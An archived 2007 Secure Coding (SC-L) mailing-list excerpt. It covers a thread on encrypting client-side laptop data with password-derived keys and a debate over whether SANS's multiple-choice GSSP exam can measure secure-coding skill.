Subject: [SC-L] Best practices for encrypting client-side data
In-Reply-To: <4640ADB5.5000404@thievco.com>
References: <200705082209.35541.robin@kallisti.net.nz>
	<4640ADB5.5000404@thievco.com>
Message-ID: <200705101147.05946.robin@kallisti.net.nz>

On Wednesday 09 May 2007 05:04:53 you wrote:
> You go on to describe (I think) crypto operations that take place
> completely on the client site. What is the relationship between the
> encrypted data and server client->server communications?
For the purposes of this, there isn't. It was just to illustrate the point 
that a password is required and is checked by another component of the 
system. All the crypto (that I'm interested in here) is completely 
client-side.

> > * The salt is currently hard-coded. It should be regenerated for every
> > encryption operation in order to make it that much harder (question:
> > should it be a different salt used for every file encrypted by a user, or
> > one salt across all files by that user? Does it matter?)
> You should have a random salt every time you generate a hash or key.
Y'know, thinking about it more, I don't think that a salt would help at all in 
this situation. I'm not storing a hash of the password anywhere, the data is 
encrypted with the hash of the password, and to decrypt, the hash is 
regenerated from the user-supplied password.

...actually, I take that back. It would mean that each file (the data is 
composed of multiple smallish files) would have a different key, so if the 
attacker found the key to one, but not the password, they couldn't get to the 
other files. A small gain, but a gain nonetheless.

-- 
Robin <robin at kallisti.net.nz> JabberID: <eythian at jabber.kallisti.net.nz>

Hostes alienigeni me abduxerunt. Qui annus est?

PGP Key 0xA99CEB6D = 5957 6D23 8B16 EFAB FEF8  7175 14D3 6485 A99C EB6D
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070510/96253057/attachment.bin 

From robin at kallisti.net.nz  Wed May  9 19:56:34 2007
From: robin at kallisti.net.nz (Robin Sheat)
Date: Thu, 10 May 2007 11:56:34 +1200
Subject: [SC-L] Best practices for encrypting client-side data
In-Reply-To: <W358783500260351178636412@webmail2>
References: <W358783500260351178636412@webmail2>
Message-ID: <200705101156.35741.robin@kallisti.net.nz>

On Wednesday 09 May 2007 03:00:12 SC-L Subscriber Dave Aronson wrote:
> What happens when the user changes his password? ?I didn't quite follow it
> all, but it looks to me like that means that all of a user's data has to be
> decrypted and re-encrypted. ?You didn't tell us how much data that is, so
> I'm going to ass-u-me that it *could* be a lot.
Probably not so much that re-encrypting would be a problem. I'm not exactly 
sure how much, it depends totally on how much the end-users use this part of 
the system. I would expect 10s of Mb, maybe into the 100s.

> Perhaps you could base the encryption on more stable data, such as the user
> name combined with when the user joined. ?This could be used to encrypt the
> data directly, or, as you proposed, to encrypt the actual key. ?How
My issue with that is that it's non-revocable by the user. Should 
bad-guy-Mallory manage to get that information somehow, the user can't do 
anything to protect their future data. If Mallory steals their password, then 
the user can change it, meaning that Mallory has to put the hard-yards in to 
get access back again.

> Also, just how secure do you need it to be? ?Don't waste a thousand-dollar
> lock on a fifty-dollar bicycle. ?Is this data actually a tempting target
> for attackers who are clueful and resourceful (in both the senses of
> "clever" and "able to spend a lot")?
I think the primary attack scenario is to prevent someone leaving a laptop 
somewhere, someone else picking it up and saying "ohh, interesting data! Lets 
sell it to their competitor", but in the interests of 'doing it properly', I 
expect there won't be much more expense on our part to put a more complete 
and secure solution in than that. Perhaps so that if the well-funded 
competitor gets the disk, they can't break it quickly and easily. I'm leaving 
things like planting keyboard sniffers out of the equation. If they can do 
that, they have the user's password and can log into the system and see all 
the data anyway and would have no need to try to defeat the encryption.

-- 
Robin <robin at kallisti.net.nz> JabberID: <eythian at jabber.kallisti.net.nz>

Hostes alienigeni me abduxerunt. Qui annus est?

PGP Key 0xA99CEB6D = 5957 6D23 8B16 EFAB FEF8  7175 14D3 6485 A99C EB6D
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070510/04a7dd76/attachment.bin 

From robin at kallisti.net.nz  Wed May  9 20:01:14 2007
From: robin at kallisti.net.nz (Robin Sheat)
Date: Thu, 10 May 2007 12:01:14 +1200
Subject: [SC-L] Best practices for encrypting client-side data
In-Reply-To: <p05200f2fc26634222dcb@[192.168.1.254]>
References: <200705082209.35541.robin@kallisti.net.nz>
	<p05200f2fc26634222dcb@[192.168.1.254]>
Message-ID: <200705101201.15354.robin@kallisti.net.nz>

On Wednesday 09 May 2007 02:11:05 ljknews wrote:
> I would suggest two factor authentication, requiring some smart card
> (with built-in keypad, to prevent intercept of the pin) that actually
> provides the decryption. ?Make the user keep the smart card with them,
> such as by requiring it for entrance to the cafeteria or rest room.
That's not possible in this case. Mostly because it would involve more 
investment on our part than the customers would be willing to pay for.

However, I'm interested in generalising the ideas in this thread to go beyond 
my particular situation; "if you were storing data in an application on a 
laptop, how would you keep it as safe as is feasible?" Especially in the case 
of non-tech-savvy end users and machines out of our control, so we can't do 
things like install truecrypt.

-- 
Robin <robin at kallisti.net.nz> JabberID: <eythian at jabber.kallisti.net.nz>

Hostes alienigeni me abduxerunt. Qui annus est?

PGP Key 0xA99CEB6D = 5957 6D23 8B16 EFAB FEF8  7175 14D3 6485 A99C EB6D
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070510/d009489b/attachment.bin 

From ljknews at mac.com  Thu May 10 07:01:14 2007
From: ljknews at mac.com (ljknews)
Date: Thu, 10 May 2007 07:01:14 -0400
Subject: [SC-L] Best practices for encrypting client-side data
In-Reply-To: <200705101201.15354.robin@kallisti.net.nz>
References: <200705082209.35541.robin@kallisti.net.nz>
	<p05200f2fc26634222dcb@[192.168.1.254]>
	<200705101201.15354.robin@kallisti.net.nz>
Message-ID: <p05200f1ac268aba6044d@[192.168.1.254]>

At 12:01 PM +1200 5/10/07, Robin Sheat wrote:
> Content-Type: multipart/signed; boundary="nextPart1622971.NJ1973Q3ia";
> 	protocol="application/pgp-signature"; micalg=pgp-sha1
> Content-Transfer-Encoding: 7bit
> 
> On Wednesday 09 May 2007 02:11:05 ljknews wrote:
>> I would suggest two factor authentication, requiring some smart card
>> (with built-in keypad, to prevent intercept of the pin) that actually
>> provides the decryption.  Make the user keep the smart card with them,
>> such as by requiring it for entrance to the cafeteria or rest room.
> That's not possible in this case. Mostly because it would involve more 
> investment on our part than the customers would be willing to pay for.
> 
> However, I'm interested in generalising the ideas in this thread to go beyond 
> my particular situation; "if you were storing data in an application on a 
> laptop, how would you keep it as safe as is feasible?"

The tension between "as safe as is feasible" and "not willing to pay for"
is not susceptible to generalization.
-- 
Larry Kilgallen

From gem at cigital.com  Fri May 11 11:17:52 2007
From: gem at cigital.com (Gary McGraw)
Date: Fri, 11 May 2007 11:17:52 -0400
Subject: [SC-L] Darkreading: Secure Coding Certification
Message-ID: <41945506397C0C4886A8C5BFF089B5CA9BDC84EE@va-mailhub.cigital.com>

Hi all,

As readers of the list know, SANS recently announced a certification scheme for secure programming.  Many vendors and consultants jumped on the bandwagon.  I'm not so sure the bandwagon is going anywhere.  I explain why in my latest darkreading column:

http://www.darkreading.com/document.asp?doc_id=123606

What do you think?  Can we test someone's software security knowledge with a multiple choice test?  Anybody seen the body of knowledge behind the test?

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


From yo at secappdev.org  Sat May 12 06:11:11 2007
From: yo at secappdev.org (Johan Peeters)
Date: Sat, 12 May 2007 12:11:11 +0200
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CA9BDC84EE@va-mailhub.cigital.com>
References: <41945506397C0C4886A8C5BFF089B5CA9BDC84EE@va-mailhub.cigital.com>
Message-ID: <25b6e5cf0705120311s571c6b11p2ddb9ca0d0c76fb8@mail.gmail.com>

I agree that multiple choice alone is inadequate to test the true
breadth and depth of someone's security knowledge. Having contributed
a few questions to the SANS pool, I take issue with Gary's article
when it implies that you can pass the GSSP test while clueless.

There is indeed a body of knowledge that is being tested. SANS has
been soliciting comments on the document.

kr,

Yo

On 5/11/07, Gary McGraw <gem at cigital.com> wrote:
> Hi all,
>
> As readers of the list know, SANS recently announced a certification scheme for secure programming.  Many vendors and consultants jumped on the bandwagon.  I'm not so sure the bandwagon is going anywhere.  I explain why in my latest darkreading column:
>
> http://www.darkreading.com/document.asp?doc_id=123606
>
> What do you think?  Can we test someone's software security knowledge with a multiple choice test?  Anybody seen the body of knowledge behind the test?
>
> gem
>
> company www.cigital.com
> podcast www.cigital.com/silverbullet
> blog www.cigital.com/justiceleague
> book www.swsec.com
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>


-- 
Johan Peeters
http://johanpeeters.com

From ljknews at mac.com  Sat May 12 08:04:24 2007
From: ljknews at mac.com (ljknews)
Date: Sat, 12 May 2007 08:04:24 -0400
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CA9BDC84EE@va-mailhub.cigital.com>
References: <41945506397C0C4886A8C5BFF089B5CA9BDC84EE@va-mailhub.cigital.com>
Message-ID: <p05200f08c26b5ca36a53@[192.168.1.254]>

At 11:17 AM -0400 5/11/07, Gary McGraw wrote:

> As readers of the list know, SANS recently announced a certification
> scheme for secure programming.  Many vendors and consultants jumped
> on the bandwagon.  I'm not so sure the bandwagon is going anywhere.
> I explain why in my latest darkreading column:
> 
> http://www.darkreading.com/document.asp?doc_id=123606

Well that page shows up as blank in my browser and shows 637 HTML errors
on http://validator.w3.org,

> What do you think?  Can we test someone's software security knowledge with
> a multiple choice test?  Anybody seen the body of knowledge behind the test?

but based on biases I see on this list, I tend to believe that those
who make such a certification scheme would bias it toward:

	Programming done in C and derivative languages (C++, Java, etc.)

	Programming relying on TCP/IP

neither of which is relevant to my endeavors.
-- 
Larry Kilgallen

From Greg.Beeley at LightSys.org  Sat May 12 14:43:43 2007
From: Greg.Beeley at LightSys.org (Greg Beeley)
Date: Sat, 12 May 2007 14:43:43 -0400
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <25b6e5cf0705120311s571c6b11p2ddb9ca0d0c76fb8@mail.gmail.com>
References: <41945506397C0C4886A8C5BFF089B5CA9BDC84EE@va-mailhub.cigital.com>
	<25b6e5cf0705120311s571c6b11p2ddb9ca0d0c76fb8@mail.gmail.com>
Message-ID: <46460ADF.6090006@LightSys.org>

 > I agree that multiple choice alone is inadequate to test the true
 > breadth and depth of someone's security knowledge. Having contributed
 > a few questions to the SANS pool, I take issue with Gary's article
 > when it implies that you can pass the GSSP test while clueless.
 >
 > There is indeed a body of knowledge that is being tested. SANS has
 > been soliciting comments on the document.

Having taught this type of material before at the university and
vocational levels, I think there are three main aspects which are
important to someone's capability to code "securely":

1 - Knowledge of pitfalls, countermeasures, and good practices;
2 - The right mindset; and
3 - Experience carrying it out

(there are also the surrounding business issues, like project management
and planning, risk assessment and how well-vetted the software must be
given the cost/risk scenario, but I'll just stick to the coder for now).

I have not reviewed the GSSP (practice exams, etc.), but I am guessing
that it goes after the "low hanging fruit" of covering (1) above, which
is testable most easily with an exam.  It's much better than nothing, and
the knowledge is very important, but this test does not necessarily mean
that a particular coder will be a better "secure coder".  There's a lot
more to this than just a body of knowledge.

For example, you could give any auto mechanic a test that they could
pass if they know what the risks are in leaving a bolt loose, or a
fuel system clamp unsecured, or not replacing an O-ring when a
connection is open (or, if they can figure out those risks during the
exam, esp. a multiple-choice one).  But that does not mean that the
mechanic will actually follow through with those things, or that, in
practice, the mechanic will actually be more prone to even notice...

So, although I think the GSSP is an important first step, I tend to
agree with Gary.  In my university-level teaching of software
security, I would never even begin to consider evaluating my students
merely via multiple choice exams.  Not with this subject matter.

Greg.


From fw at deneb.enyo.de  Sun May 13 04:44:19 2007
From: fw at deneb.enyo.de (Florian Weimer)
Date: Sun, 13 May 2007 10:44:19 +0200
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <25b6e5cf0705120311s571c6b11p2ddb9ca0d0c76fb8@mail.gmail.com>
	(Johan Peeters's message of "Sat, 12 May 2007 12:11:11 +0200")
References: <41945506397C0C4886A8C5BFF089B5CA9BDC84EE@va-mailhub.cigital.com>
	<25b6e5cf0705120311s571c6b11p2ddb9ca0d0c76fb8@mail.gmail.com>
Message-ID: <87ps552jvg.fsf@mid.deneb.enyo.de>

* Johan Peeters:

> I agree that multiple choice alone is inadequate to test the true
> breadth and depth of someone's security knowledge. Having contributed
> a few questions to the SANS pool, I take issue with Gary's article
> when it implies that you can pass the GSSP test while clueless.

But I guess you can fail it because your views are too refined (and
you take too long to make your choices).  After all, there are
different schools of thought when it comes to secure coding and its
methodologies.  For instance, summing up buffer overflows or directory
traversals under "input validation" is somewhat debatable.

From James.McGovern at thehartford.com  Mon May 14 09:55:07 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Mon, 14 May 2007 09:55:07 -0400
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CA9BDC84EE@va-mailhub.cigital.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999A53@AD1HFDEXC309.ad1.prod>

Gary, I think this test will miss for other reasons including but not limited to:

1. ONLY consultants and vendors have jumped on the bandwagon. Other IT professionals such as those who work in large enterprises have no motivation to pursue. 

2. The target price for the exams will be an impediment as many folks who can't get reimbursed for taking them will not bother. 

3. It needs to be more language agnostic. Folks who code in Smalltalk, Ruby or scripting languages should not be treated as second class citizens

4. I would not measure "experience" but desire to pursue knowledge. Experience over time can get static. How many of us know a COBOL programmer who has had one years of experience twenty times.

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org]On Behalf Of Gary McGraw
Sent: Friday, May 11, 2007 11:18 AM
To: SC-L at securecoding.org
Subject: [SC-L] Darkreading: Secure Coding Certification


Hi all,

As readers of the list know, SANS recently announced a certification scheme for secure programming.  Many vendors and consultants jumped on the bandwagon.  I'm not so sure the bandwagon is going anywhere.  I explain why in my latest darkreading column:

http://www.darkreading.com/document.asp?doc_id=123606

What do you think?  Can we test someone's software security knowledge with a multiple choice test?  Anybody seen the body of knowledge behind the test?

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com

_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From Greg.Beeley at LightSys.org  Mon May 14 11:35:19 2007
From: Greg.Beeley at LightSys.org (Greg Beeley)
Date: Mon, 14 May 2007 11:35:19 -0400
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4603999A53@AD1HFDEXC309.ad1.prod>
References: <773F863A6009244B87E6E866AFC7DB4603999A53@AD1HFDEXC309.ad1.prod>
Message-ID: <464881B7.5060607@LightSys.org>

 > 1. ONLY consultants and vendors have jumped on the bandwagon. Other IT
 > professionals such as those who work in large enterprises have no
 > motivation to pursue.
 >
 > 2. The target price for the exams will be an impediment as many folks who
 > can't get reimbursed for taking them will not bother.

Agreed.  There might be some value to a software development outsourcing
company, but that will limit coverage.  I definitely know that the pricing
issue would prevent me from taking the exam, but I'm in nonprofit/charity
work; I am not representative of most of the industry....

 > 3. It needs to be more language agnostic. Folks who code in Smalltalk,
 > Ruby or scripting languages should not be treated as second class citizens

Agreed in concept to the "no second-class citizens" idea.  But I think
the test needs to have a language-specific element to it.  Every language
and environment has unique pitfalls and security considerations.  A
developer who knows to avoid memory management, buffer, and integer issues
in C may have no clue about nul-poisoning in a web scripting language's
counted (as opposed to zero-terminated) strings.

 > 4. I would not measure "experience" but desire to pursue knowledge.
 > Experience over time can get static. How many of us know a COBOL
 > programmer who has had one years of experience twenty times.

To me, the "experience" qualification isn't so much "how many years of
coding", but how much has the person actually practiced "secure coding"?
An experienced secure coder is much more able to recognize, at a glance,
issues in the code and in the design, as compared to someone who has been
recently trained at a secure coding "boot camp".  But I do agree with you
that experience in terms of time is a somewhat rough metric.

Greg.


From coley at linus.mitre.org  Mon May 14 13:14:56 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 14 May 2007 13:14:56 -0400 (EDT)
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <41945506397C0C4886A8C5BFF089B5CA9BDC84EE@va-mailhub.cigital.com>
References: <41945506397C0C4886A8C5BFF089B5CA9BDC84EE@va-mailhub.cigital.com>
Message-ID: <Pine.GSO.4.51.0705141304580.8202@faron.mitre.org>


On Fri, 11 May 2007, Gary McGraw wrote:

> What do you think?  Can we test someone's software security knowledge
> with a multiple choice test?  Anybody seen the body of knowledge behind
> the test?

I've participated heavily in the development of the test by contributing
questions, giving guidance on subject areas, and identifying some of the
language-independent, general knowledge categories.

While multiple choice isn't perfect, SANS is consulting with a
professional organization that has experience in making multiple choice
certification-related tests for a variety of industries.  They have given
us extensive guidance on how to write solid questions.  There are multiple
checks and balances along the way to improve the quality of the questions.
The "blueprints" as provided on the site give guidance to what kinds of
questions are asked in the first place.

Essay answers or program analysis projects might be able to give a more
well-rounded understanding of what a developer does, but that would be
subject to too much variation by the people evaluating the test results,
not to mention being quite untenable on the scale that this effort is
likely to reach.

People will try to force this initial exam into being something much more
comprehensive and authoeitative than it's intended to be, and there might
be some bumps along the way, but - how can the industry afford NOT to try
to test secure development skills?  This is the first step of many.

- Steve

From coley at linus.mitre.org  Mon May 14 13:17:38 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 14 May 2007 13:17:38 -0400 (EDT)
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <p05200f08c26b5ca36a53@[192.168.1.254]>
References: <41945506397C0C4886A8C5BFF089B5CA9BDC84EE@va-mailhub.cigital.com>
	<p05200f08c26b5ca36a53@[192.168.1.254]>
Message-ID: <Pine.GSO.4.51.0705141315300.8202@faron.mitre.org>


On Sat, 12 May 2007, ljknews wrote:

> but based on biases I see on this list, I tend to believe that those
> who make such a certification scheme would bias it toward:
>
> 	Programming done in C and derivative languages (C++, Java, etc.)
>
> 	Programming relying on TCP/IP
>
> neither of which is relevant to my endeavors.

The test is intended to cover the language areas and programming idioms
that are most likely to be taught at the university level and used by
programmers with only a couple years' experience.

- Steve

From coley at linus.mitre.org  Mon May 14 13:24:15 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 14 May 2007 13:24:15 -0400 (EDT)
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4603999A53@AD1HFDEXC309.ad1.prod>
References: <773F863A6009244B87E6E866AFC7DB4603999A53@AD1HFDEXC309.ad1.prod>
Message-ID: <Pine.GSO.4.51.0705141319040.8202@faron.mitre.org>


On Mon, 14 May 2007, McGovern, James F (HTSC, IT) wrote:

> 1. ONLY consultants and vendors have jumped on the bandwagon. Other IT
> professionals such as those who work in large enterprises have no
> motivation to pursue.

"Only" vendors have jumped on the bandwagon?  The software developers are
the ones we WANT jumping on the bandwagon.

But it's not just those two.  The initial announcement of these exams
featured representatives from several large US government organizations
who said "they need this."  Other major US organizations need this and
want this, but they aren't saying so publicly.  SANS did a survey of over
300 organizations that included a lot of software consumers.

> 3. It needs to be more language agnostic. Folks who code in Smalltalk,
> Ruby or scripting languages should not be treated as second class
> citizens

The current tests are designed to handle specific skills in specific,
prominent languages.   Other tests might come out as a result of demand.

> 4. I would not measure "experience" but desire to pursue knowledge.

This would be great, but I'm not sure how you could actually test it.

- Steve

From ljknews at mac.com  Mon May 14 13:49:11 2007
From: ljknews at mac.com (ljknews)
Date: Mon, 14 May 2007 13:49:11 -0400
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <464881B7.5060607@LightSys.org>
References: <773F863A6009244B87E6E866AFC7DB4603999A53@AD1HFDEXC309.ad1.prod>
	<464881B7.5060607@LightSys.org>
Message-ID: <p05200f02c26e517b275a@[192.168.1.254]>

At 11:35 AM -0400 5/14/07, Greg Beeley wrote:

> Agreed in concept to the "no second-class citizens" idea.  But I think
> the test needs to have a language-specific element to it.  Every language
> and environment has unique pitfalls and security considerations.  A
> developer who knows to avoid memory management, buffer, and integer issues
> in C may have no clue about nul-poisoning in a web scripting language's
> counted (as opposed to zero-terminated) strings.

And they may have no need for that.
-- 
Larry Kilgallen

From ljknews at mac.com  Mon May 14 13:51:48 2007
From: ljknews at mac.com (ljknews)
Date: Mon, 14 May 2007 13:51:48 -0400
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <Pine.GSO.4.51.0705141319040.8202@faron.mitre.org>
References: <773F863A6009244B87E6E866AFC7DB4603999A53@AD1HFDEXC309.ad1.prod>
	<Pine.GSO.4.51.0705141319040.8202@faron.mitre.org>
Message-ID: <p05200f03c26e51c438a3@[192.168.1.254]>

At 1:24 PM -0400 5/14/07, Steven M. Christey wrote:

> The current tests are designed to handle specific skills in specific,
> prominent languages.   Other tests might come out as a result of demand.

So what are those languages ?  Presumably not HTML.

At 8:04 AM -0400 5/12/07, ljknews wrote:

> At 11:17 AM -0400 5/11/07, Gary McGraw wrote:
> 
>> As readers of the list know, SANS recently announced a certification
>> scheme for secure programming.  Many vendors and consultants jumped
>> on the bandwagon.  I'm not so sure the bandwagon is going anywhere.
>> I explain why in my latest darkreading column:
>> 
>> http://www.darkreading.com/document.asp?doc_id=123606
> 
> Well that page shows up as blank in my browser and shows 637 HTML errors
> on http://validator.w3.org,

-- 
Larry Kilgallen

From joe at joeteff.com  Mon May 14 22:46:09 2007
From: joe at joeteff.com (Joe Teff)
Date: Mon, 14 May 2007 21:46:09 -0500
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <87ps552jvg.fsf@mid.deneb.enyo.de>
References: <41945506397C0C4886A8C5BFF089B5CA9BDC84EE@va-mailhub.cigital.com>
	<25b6e5cf0705120311s571c6b11p2ddb9ca0d0c76fb8@mail.gmail.com>
	<87ps552jvg.fsf@mid.deneb.enyo.de>
Message-ID: <WorldClient-F200705142146.AA46090022@joeteff.com>

Best practices vs mitigating risk. Enumerating best practices is much 
easier and will most likely be the test's theme. White list validation 
is the answer to everything except the difficult choices developers have 
to make and often get wrong. Too many times, the white list has to 
include those pesky little characters that cause all the problems. White 
listing a phone number, amount, or zip code is easy. White listing 
people's names, addresses, or comments isn't as easy especially when 
business requirements or contractual/legal obligations rear their ugly 
head. How mamy times have you seen prepared statements, stored 
procedures, or magic quotes be the answer to SQL Injection, yet most 
want to consider those very same data stores as trusted. How many 
applications do you know where the only entry/exit point 
(past,present,future) of the data is that single application? How do you 
test the ability for developers to make the best decisions in imperfect 
situations?


-----Original Message-----
From: Florian Weimer <fw at deneb.enyo.de>
To: "Johan Peeters" <yo at secappdev.org>
Cc: "SC-L at securecoding.org" <SC-L at securecoding.org>
Date: Sun, 13 May 2007 10:44:19 +0200
Subject: Re: [SC-L] Darkreading: Secure Coding Certification

> * Johan Peeters:
> 
> > I agree that multiple choice alone is inadequate to test the true
> > breadth and depth of someone's security knowledge. Having contributed
> > a few questions to the SANS pool, I take issue with Gary's article
> > when it implies that you can pass the GSSP test while clueless.
> 
> But I guess you can fail it because your views are too refined (and
> you take too long to make your choices).  After all, there are
> different schools of thought when it comes to secure coding and its
> methodologies.  For instance, summing up buffer overflows or directory
> traversals under "input validation" is somewhat debatable.
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc -
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at -
> http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC
> (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________


From gem at cigital.com  Tue May 15 09:05:02 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 15 May 2007 09:05:02 -0400
Subject: [SC-L] Darkreading: Secure Coding Certification
In-Reply-To: <25b6e5cf0705120311s571c6b11p2ddb9ca0d0c76fb8@mail.gmail.com>
Message-ID: <41945506397C0C4886A8C5BFF089B5CA9BDC8747@va-mailhub.cigital.com>

Hi Yo (and everyone else),

I'm afraid that the current test focuses all of its attention on BUGS (in C/C++ and Java).  While we certainly need to erradicate simple security bugs, there is much more to software security than the bug parade.  Plus when you look into the material, the multiple choice format makes determining the correct answer impossible at times.

I would rather move away from learning about bugs to learning about defensive programming to avoid bugs in the first place.  The SANS material focuses entirely on the negative as far as I can tell.  Here's a bug, there's a bug, everywhere a bug bug.  Better than nothing?  Maybe.

SANS is very good an soliciting everyone's opinion, piling it all up in a nice package, and then charging users for the result.  SANS is a for profit entity, not a university or a non-profit.  Please don't forget that.

As much as I would love to see a way to determine whether a random coder has security clue, I'm afraid all we will get out of this effort is perhaps a bit more awareness.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org] On Behalf Of Johan Peeters
Sent: Saturday, May 12, 2007 6:11 AM
To: SC-L at securecoding.org
Subject: Re: [SC-L] Darkreading: Secure Coding Certification

I agree that multiple choice alone is inadequate to test the true
breadth and depth of someone's security knowledge. Having contributed
a few questions to the SANS pool, I take issue with Gary's article
when it implies that you can pass the GSSP test while clueless.

There is indeed a body of knowledge that is being tested. SANS has
been soliciting comments on the document.

kr,

Yo

On 5/11/07, Gary McGraw <gem at cigital.com> wrote:
> Hi all,
>
> As readers of the list know, SANS recently announced a certification scheme for secure programming.  Many vendors and consultants jumped on the bandwagon.  I'm not so sure the bandwagon is going anywhere.  I explain why in my latest darkreading column:
>
> http://www.darkreading.com/document.asp?doc_id=123606
>
> What do you think?  Can we test someone's software security knowledge with a multiple choice test?  Anybody seen the body of knowledge behind the test?
>
> gem
>
> company www.cigital.com
> podcast www.cigital.com/silverbullet
> blog www.cigital.com/justiceleague
> book www.swsec.com
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>


--
Johan Peeters
http://johanpeeters.com
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


From gem at cigital.com  Tue May 15 09:52:00 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 15 May 2007 09:52:00 -0400
Subject: [SC-L] FW:  Darkreading: Secure Coding Certification
Message-ID: <41945506397C0C4886A8C5BFF089B5CA9BDC8772@va-mailhub.cigital.com>

I meant to send this to the list.

-----Original Message-----
From: Gary McGraw
Sent: Tuesday, May 15, 2007 9:09 AM
To: 'ljknews'
Subject: RE: [SC-L] Darkreading: Secure Coding Certification

Oops.  Sorry about that.  I just checked the URL for the darkreading article again.  Looks the same to me:

http://www.darkreading.com/document.asp?doc_id=123606

Please note that a nice little thread has developed over there as well (the hazards of a net existence).

http://www.darkreading.com/boards/messages.asp?thread_id=155877&msg_id=144925&t=true

There is a huge body of knowledge and of best practices that has developed over the last decade of work in software security.  I tried to describe it all in detail in my boko "Software Security," so get a copy of that if you're interested.  We have moved well past a collection of data about common bugs.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org] On Behalf Of ljknews
Sent: Saturday, May 12, 2007 8:04 AM
To: SC-L at securecoding.org
Subject: Re: [SC-L] Darkreading: Secure Coding Certification

At 11:17 AM -0400 5/11/07, Gary McGraw wrote:

> As readers of the list know, SANS recently announced a certification
> scheme for secure programming.  Many vendors and consultants jumped
> on the bandwagon.  I'm not so sure the bandwagon is going anywhere.
> I explain why in my latest darkreading column:
>
> http://www.darkreading.com/document.asp?doc_id=123606

Well that page shows up as blank in my browser and shows 637 HTML errors
on http://validator.w3.org,

> What do you think?  Can we test someone's software security knowledge with
> a multiple choice test?  Anybody seen the body of knowledge behind the test?

but based on biases I see on this list, I tend to believe that those
who make such a certification scheme would bias it toward:

        Programming done in C and derivative languages (C++, Java, etc.)

        Programming relying on TCP/IP

neither of which is relevant to my endeavors.
--
Larry Kilgallen
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


From Greg.Beeley at LightSys.org  Tue May 15 11:43:23 2007
From: Greg.Beeley at LightSys.org (Greg Beeley)
Date: Tue, 15 May 2007 11:43:23 -0400
Subject: [SC-L] Darkreading: Secure Coding Certification
